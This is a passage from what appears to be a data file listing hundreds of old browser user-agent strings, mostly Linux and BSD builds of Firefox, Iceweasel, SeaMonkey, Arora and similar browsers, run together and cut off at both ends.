Flock/2.0b3 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5_2 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.8.1.11) Gecko/20071128 Iceweasel/2.0.0.11 (Debian-2.0.0.11-1) Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.8.1.18) Gecko/20081112 Fedora/1.1.13-1.fc10 SeaMonkey/1.1.13 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009072711 CentOS/3.0.12-1.el5.centos Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.4 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.16) Gecko/20120315 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc11 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101026 SUSE/3.6.12-0.7.1 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; es-MX; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.14) Gecko/2009090217 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Epiphany/2.30.6 Safari/534.7 Mozilla/5.0 (X11; U; Linux x86_64; fr-FR; rv:1.8.1.12) Gecko/20080209 SeaMonkey/1.1.8 Mozilla/5.0 (X11; U; Linux x86_64; fr-FR; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9 (Ubuntu-1.1.9+nobinonly-0ubuntu1) Mozilla/5.0 (X11; U; Linux x86_64; fr-FR; rv:1.8.1.4) Gecko/20070528 SeaMonkey/1.1.2 Mozilla/5.0 (X11; U; Linux x86_64; fr-FR; rv:1.8.1.6) Gecko/20070803 SeaMonkey/1.1.4 Mozilla/5.0 (X11; U; Linux x86_64; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux x86_64; fr-fr) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.29.91 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.6) Gecko/20040115 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.7.12) Gecko/20051010 Epiphany/1.8.2 (Ubuntu) (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8) Gecko/20051231 Firefox/1.5 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-2) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009061208 Iceweasel/3.0.9 (Debian-3.0.9-1) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010051407 CentOS/3.0.19-1.el5.centos Firefox/3.0.19 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010072022 Iceweasel/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030810 Iceweasel/3.0.7 (Debian-3.0.7-1) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009031819 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009032813 Iceweasel/3.0.6 Firefox/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.16) Gecko/20101206 Lightning/1.0b1 SeaMonkey/2.0.11 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.16) Gecko/20120511 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.18) Gecko/20110412 Lightning/1.0b1 SeaMonkey/2.0.13 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.3pre Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 GTB7.0 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100428 Lightning/1.0b1 SeaMonkey/2.0.4 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20101203 IceCat/3.6.13-g1 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20101203 Iceweasel/3.6.7 (like Firefox/3.6.13) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.14pre) Gecko/20101224 Ubuntu/10.04 (lucid) Namoroka/3.6.14pre Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux x86_64; hu-HU; rv:1.9.1.16) Gecko/20110107 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; hu-HU; rv:1.9.2.18pre) Gecko/20110515 Ubuntu/10.10 (maverick) Namoroka/3.6.18pre Mozilla/5.0 (X11; U; Linux x86_64; hu-hu) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux x86_64; hu; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux x86_64; it-it) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux x86_64; it-it) AppleWebKit/534.26+ (KHTML, like Gecko) Ubuntu/11.04 Epiphany/2.30.6 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092813 Gentoo Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.16) Gecko/20111108 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.16) Gecko/20120921 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-2.fc12 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.20) Gecko/20110805 Ubuntu/10.04 (lucid) Firefox/3.6.20 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.24) Gecko/20111101 SUSE/3.6.24-0.2.1 Firefox/3.6.24 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.9pre) Gecko/20100818 Ubuntu/10.04 (lucid) Namoroka/3.6.9pre Mozilla/5.0 (X11; U; Linux x86_64; ja-JP; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.10 (maverick) Firefox/3.6.16 Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.4) Gecko/20091016 SUSE/3.5.4-1.1.2 Firefox/3.5.4 Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.8) Gecko/20100324 Iceweasel/3.5.8 (like Firefox/3.5.8) Mozilla/5.0 (X11; U; Linux x86_64; ko-KR; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (X11; U; Linux x86_64; nl-nl) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.29.91 Mozilla/5.0 (X11; U; Linux x86_64; nl; rv:1.9.1.11) Gecko/20100714 openSUSE/3.0.6 Thunderbird/3.0.6 ThunderBrowse/3.3.2 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8) Gecko/20051128 SUSE/1.5-0.1 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9) Gecko/2008060309 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu (hardy) Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.5) Gecko/2008121623 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:2.0) Gecko/20110307 Firefox/4.0 Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.4) Gecko/20070611 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.7) Gecko/20071009 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.2) Gecko/20090911 Slackware Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9b5) Gecko/2008041515 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; ru-RU) AppleWebKit/533.3 (KHTML, like Gecko) Leechcraft/0.3.95-1-g84cc6b7 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; ru-RU) AppleWebKit/533.3 (KHTML, like Gecko) Leechcraft/0.4.55-13-g2230d9f Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; ru-RU; rv:1.8.1.16) Gecko/20080716 Fedora/1.1.11-1.fc9 SeaMonkey/1.1.11 Mozilla/5.0 (X11; U; Linux x86_64; ru-ru) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-2) Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.11) Gecko/20101028 CentOS/3.6-2.el5.centos Firefox/3.6.11 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.3a4pre) Gecko/20100319 Minefield/3.7a4pre Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0 Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.9pre) Gecko/20100811 Ubuntu/10.04 (lucid) Namoroka/3.6.9pre GTB7.0 Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 GTB5 Mozilla/5.0 (X11; U; Linux x86_64; zh-cn) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.28.0 SUSE/2.28.0-2.4 Mozilla/5.0 (X11; U; Linux x86_64; zh-cn) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.28.2 SUSE/2.28.0-2.4 Mozilla/5.0 (X11; U; Linux; cs-CZ) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: 333 41e3bc6) Mozilla/5.0 (X11; U; Linux; de-DE) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 0 ) Mozilla/5.0 (X11; U; Linux; de-DE) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 Mozilla/5.0 (X11; U; Linux; de-DE) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.8.0 Mozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 Mozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: 388 835b3b6) Mozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 239 52c6958) Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 0 ) Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 189 35c14e0) Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1 Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6 Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6 Mozilla/5.0 (X11; U; Linux; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.11) Gecko/20100720 Firefox/3.5.11 Mozilla/5.0 (X11; U; Linux; en-us; rv:1.8.1) Gecko/20061010 Firefox/2.0 Midori/0.1.6 Mozilla/5.0 (X11; U; Linux; es-CR) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 0 ) Mozilla/5.0 (X11; U; Linux; es-ES) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: 388 835b3b6) Mozilla/5.0 (X11; U; Linux; fi-FI) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: 754 46b659a) Mozilla/5.0 (X11; U; Linux; fr-FR) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 Mozilla/5.0 (X11; U; Linux; fr-fr) AppleWebKit/532+ (KHTML, like Gecko) Safari/419.3 Midori/0.1.7 Mozilla/5.0 (X11; U; Linux; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux; hu-HU) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 Mozilla/5.0 (X11; U; Linux; hu-HU) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: 388 835b3b6) Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7 Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5 Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14 Mozilla/5.0 (X11; U; Linux; it-IT) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 Mozilla/5.0 (X11; U; Linux; it-IT) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: 413 12f13f8) Mozilla/5.0 (X11; U; Linux; it-IT; rv:1.9.1) Gecko/20080913 Firefox/2.0 Midori/0.1.6 Mozilla/5.0 (X11; U; Linux; it-it) AppleWebKit/531+ (KHTML, like Gecko) Safari/531.2+ Midori/0.2 Mozilla/5.0 (X11; U; Linux; nb-NO) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 0 ) Mozilla/5.0 (X11; U; Linux; nb-NO) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 Mozilla/5.0 (X11; U; Linux; pl-PL) AppleWebKit/532.4 (KHTML, like Gecko) Arora/0.10.2 Safari/532.4 Mozilla/5.0 (X11; U; Linux; pt-PT) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4 Mozilla/5.0 (X11; U; Linux; pt-br) AppleWebKit/531+ (KHTML, like Gecko) Safari/531.2+ Midori/0.3 Mozilla/5.0 (X11; U; Linux; ru-RU) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: 802 025a17d) Mozilla/5.0 (X11; U; Linux; sk-SK) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 0 ) Mozilla/5.0 (X11; U; Mac OSX; it; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 Mozilla/5.0 (X11; U; NetBSD alpha; en-US; rv:1.8.1.6) Gecko/20080115 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15 Mozilla/5.0 (X11; U; NetBSD amd64; fr-FR; rv:1.8.0.7) Gecko/20061102 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8) Gecko/20060104 Firefox/1.5 Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.5) Gecko/20060818 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.12) Gecko/20101030 Firefox/3.6.12 Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.3) Gecko/20100403 Namoroka/3.6.3 Mozilla/5.0 (X11; U; NetBSD sparc64; fr-FR; rv:1.8.1.6) Gecko/20070822 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OSF1 alpha; en-US; rv:0.9.4.1) Gecko/20020517 Netscape6/6.2.3 Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.0.9) Gecko/20070101 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.1.6) Gecko/20070817 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.9.0.1) Gecko/2008081402 Firefox/3.0.1 Mozilla/5.0 (X11; U; OpenBSD amd64; en; rv:1.8.1.6) Gecko/20070817 Epiphany/2.18 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0 Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.30.0 Mozilla/5.0 (X11; U; OpenBSD i386; de-DE; rv:1.8.1.6) Gecko/20080429 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.7.0.13) Gecko/20060901 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.7.10) Gecko/20050919 (No IDN) Firefox/1.0.6 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.7.13) Gecko/20060901 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.1) Gecko/20060213 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.4) Gecko/20060628 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.5) Gecko/20060819 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20060920 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20061017 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.16) Gecko/20080812 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.3) Gecko/20070505 Firefox/2.0.0.3 Mozilla/5.0 (X11; 